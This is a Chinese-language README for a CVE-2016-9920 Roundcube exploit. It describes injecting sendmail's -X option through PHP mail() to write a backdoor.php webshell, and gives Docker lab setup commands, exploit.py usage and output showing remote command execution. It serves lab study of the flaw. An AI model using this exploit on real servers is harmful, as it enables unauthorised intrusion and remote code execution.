Roundcube 是一款广泛分布的开源网页邮件软件,被全球许多组织和公司使用。例如,SourceForge 上的镜像在过去 12 个月内统计下载量超过 260,000 次,而这仅占实际用户的一小部分。一旦 Roundcube 安装在服务器上,它就会为经过身份验证的用户提供一个网页界面,使它们能够使用网页浏览器发送和接收电子邮件。
在 Roundcube 1.2.2 及更早版本中,用户控制的输入未经处理地流入 PHP 内置函数 mail() 的第五个参数,该参数在文档中被标记为安全关键。问题在于,调用 mail() 函数将导致 PHP 执行 sendmail 程序。第五个参数允许向该执行传递参数,从而可以配置 sendmail。由于 sendmail 提供了 -X 选项,可以将所有邮件流量记录到文件中,攻击者可以利用此选项在受攻击服务器的 webroot 目录中生成一个恶意 PHP 文件。以下代码行触发了该漏洞。
该漏洞的利用需要满足以下要求:
mail() 函数(默认情况下,如果未指定 SMTP [1])mail() 函数配置为使用 sendmail(默认情况下,参见 sendmail_path [2])safe_mode(默认情况下,参见 safe_mode [3])这些要求并不过分苛刻,这意味着在现实环境中存在大量易受攻击的系统。
要搭建一个用于测试的漏洞环境,您需要安装 Docker,然后运行以下命令:
docker build -t vuln/cve-2016-9920 .
docker run --rm -it -p 80:80 vuln/cve-2016-9920
它将在您主机的 80 端口上创建一个易受攻击的 Web 应用程序。
在 Roundcube 1.2.2 及更早版本中,用户控制的输入未经处理地流入 PHP 内置函数
mail()的第五个参数,该参数在安全方面被标记为关键。问题在于,调用mail()函数将导致 PHP 执行 sendmail 程序。第五个参数允许向该执行传递额外参数,从而可以配置 sendmail。由于 sendmail 提供了-X选项,可以将所有邮件流量记录到文件中,攻击者可以利用此选项在受攻击服务器的 webroot 目录中生成一个恶意 PHP 文件。尽管此漏洞较为罕见且未广泛知晓,但 RIPS 在几秒钟内就检测到了它。 [4]
要利用这个目标,只需运行:
./exploit.py --host HOST --user USERNAME --pwd PASSWORD --path PATH --www_path WEB_DIRECTORY
如果您正在使用这个易受攻击的镜像,可以直接运行:
./exploit.py --host 127.0.0.1 --user username --pwd password --path roundcube --www_path "/var/www/html/roundcube"
利用之后,一个名为 backdoor.php 的文件将存储在 Web 目录的根文件夹中。该利用程序会为您提供一个 shell,您可以在其中向后门发送命令:
./exploit.py --host 127.0.0.1 --user username --pwd password --path roundcube --www_path "/var/www/html/roundcube"
[+] CVE-2016-9920 exploit by t0kx
[+] Exploiting 127.0.0.1
[+] Target exploited, acessing shell at http://127.0.0.1/roundcube/backdoor.php
[+] Running whoami: www-data
[+] Done
此漏洞由 Robin Peraglie 发现 [4]。主要文本及本教育材料的构想由 opsxcq 提供。
本程序或之前的程序仅用于教育目的。未经许可请勿使用。通常的免责声明适用,尤其是本人(t0kx)不对因直接或间接使用这些程序提供的信息或功能而造成的任何损害负责。作者或任何互联网提供商对使用这些程序或其衍生产品的内容或误用不承担任何责任。使用这些程序即表示您接受因使用这些程序造成的任何损害(数据丢失、系统崩溃、系统受损等)并非 t0kx 的责任。